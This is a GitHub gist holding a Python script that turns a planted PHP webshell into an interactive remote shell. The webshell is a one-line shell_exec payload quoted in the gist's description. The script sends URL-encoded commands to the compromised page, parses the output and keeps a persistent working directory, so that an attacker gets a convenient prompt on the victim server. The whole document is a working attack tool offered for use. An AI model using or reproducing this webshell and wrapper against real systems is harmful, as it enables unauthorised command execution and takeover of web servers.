Skip to content

Instantly share code, notes, and snippets.

@hexabeast
Last active August 15, 2020 00:20
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save hexabeast/fb6b5cf0cd4a51ca93fa300c9bb7a3e2 to your computer and use it in GitHub Desktop.
Save hexabeast/fb6b5cf0cd4a51ca93fa300c9bb7a3e2 to your computer and use it in GitHub Desktop.
Basic webshell commandline wrapper, gives a nice-looking shell (without revshell/bind shell) using any page containing this kind of payload somewhere in it : <?php echo shell_exec($_GET[e]); ?>
#!/usr/bin/python3
#USAGE : webwrap 'http://somewebsite.com/shell.php?cmd='
import readline
from termcolor import colored
import urllib.parse
import sys
import requests
link = sys.argv[1]
commands = []
pat = "ZYZZ"
ech = "echo -n '"+pat+"';"
while True:
prefix = ""
if len(commands)>0:
prefix = ";".join(commands)+";"
who,host,pwd = requests.get(link+urllib.parse.quote(ech+prefix+"echo -n `whoami`#`hostname`#`pwd`"+' 2>&1;'+ech)).text.split(pat)[1].split("#")
desc = colored(who+"@"+host,"green")+":"+colored(pwd,"blue")+colored("$ ","white")
com = input(desc)
fcom = prefix+com
rep = requests.get(link+urllib.parse.quote(ech+fcom+' 2>&1;'+ech)).text.split(pat)[1]
print(rep)
if (com[:3] == "cd ") and not "cd" in rep:
if len(com)>2 and com[3]=="/":
commands = []
commands.append(com)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment